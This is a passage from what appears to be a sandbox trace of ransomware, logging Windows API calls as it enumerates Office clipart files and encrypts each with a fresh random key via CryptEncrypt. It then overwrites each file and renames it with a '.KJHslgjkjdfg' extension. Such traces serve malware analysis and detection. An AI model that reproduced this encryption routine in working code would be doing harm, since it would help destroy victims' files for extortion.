Size=0x10) returned 0x9adfd0 [0196.029] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.029] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.029] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0196.032] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.032] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.032] GetProcessHeap () returned 0x990000 [0196.032] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.032] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.032] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.032] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.032] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.032] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.032] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.032] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.032] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.032] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.033] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.033] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.033] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x794, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x794, lpOverlapped=0x0) returned 1 [0196.033] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7a0, dwBufLen=0x7a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7a0) returned 1 [0196.033] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.033] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7a0, lpOverlapped=0x0) returned 1 [0196.033] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.033] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.033] SetEndOfFile (hFile=0x130) returned 1 [0196.036] GetProcessHeap () returned 0x990000 [0196.036] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.036] GetProcessHeap () returned 0x990000 [0196.036] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.036] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.kjhslgjkjdfg")) returned 1 [0196.037] CloseHandle (hObject=0x130) returned 1 [0196.037] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152892.WMF", cAlternateFileName="")) returned 1 [0196.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.038] GetProcessHeap () returned 0x990000 [0196.038] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.038] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.039] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.044] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.044] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.044] GetProcessHeap () returned 0x990000 [0196.044] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.044] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.044] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.045] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.045] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.045] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.045] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.045] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.045] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.045] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.045] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x29ac, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x29ac, lpOverlapped=0x0) returned 1 [0196.046] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x29b0, dwBufLen=0x29b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x29b0) returned 1 [0196.047] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.047] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x29b0, lpOverlapped=0x0) returned 1 [0196.047] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.047] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.047] SetEndOfFile (hFile=0x130) returned 1 [0196.048] GetProcessHeap () returned 0x990000 [0196.048] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.048] GetProcessHeap () returned 0x990000 [0196.048] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.048] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.kjhslgjkjdfg")) returned 1 [0196.050] CloseHandle (hObject=0x130) returned 1 [0196.050] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152894.WMF", cAlternateFileName="")) returned 1 [0196.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.051] GetProcessHeap () returned 0x990000 [0196.051] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.051] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.051] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.051] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0196.054] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.054] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.054] GetProcessHeap () returned 0x990000 [0196.054] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.054] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.054] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.054] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.054] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.054] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.055] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.055] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.055] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.055] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.055] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.055] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.055] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2c54, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2c54, lpOverlapped=0x0) returned 1 [0196.056] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2c60, dwBufLen=0x2c60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2c60) returned 1 [0196.056] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.056] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2c60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2c60, lpOverlapped=0x0) returned 1 [0196.056] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.056] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.056] SetEndOfFile (hFile=0x130) returned 1 [0196.058] GetProcessHeap () returned 0x990000 [0196.058] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.058] GetProcessHeap () returned 0x990000 [0196.059] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.059] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.kjhslgjkjdfg")) returned 1 [0196.060] CloseHandle (hObject=0x130) returned 1 [0196.060] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1190, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152898.WMF", cAlternateFileName="")) returned 1 [0196.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.061] GetProcessHeap () returned 0x990000 [0196.061] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.061] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.061] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.061] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.061] GetProcessHeap () returned 0x990000 [0196.061] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.061] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.061] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.061] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.064] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.064] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.064] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.064] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.064] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.064] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.064] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1190, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1190, lpOverlapped=0x0) returned 1 [0196.065] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1190, dwBufLen=0x1190 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1190) returned 1 [0196.065] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.065] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1190, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1190, lpOverlapped=0x0) returned 1 [0196.066] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.066] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.066] SetEndOfFile (hFile=0x130) returned 1 [0196.069] GetProcessHeap () returned 0x990000 [0196.069] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.069] GetProcessHeap () returned 0x990000 [0196.069] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.069] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.kjhslgjkjdfg")) returned 1 [0196.071] CloseHandle (hObject=0x130) returned 1 [0196.071] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x812c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153047.WMF", cAlternateFileName="")) returned 1 [0196.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.073] GetProcessHeap () returned 0x990000 [0196.073] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.073] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.073] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.075] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.075] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.075] GetProcessHeap () returned 0x990000 [0196.075] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.075] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.075] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.075] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.076] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.076] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, 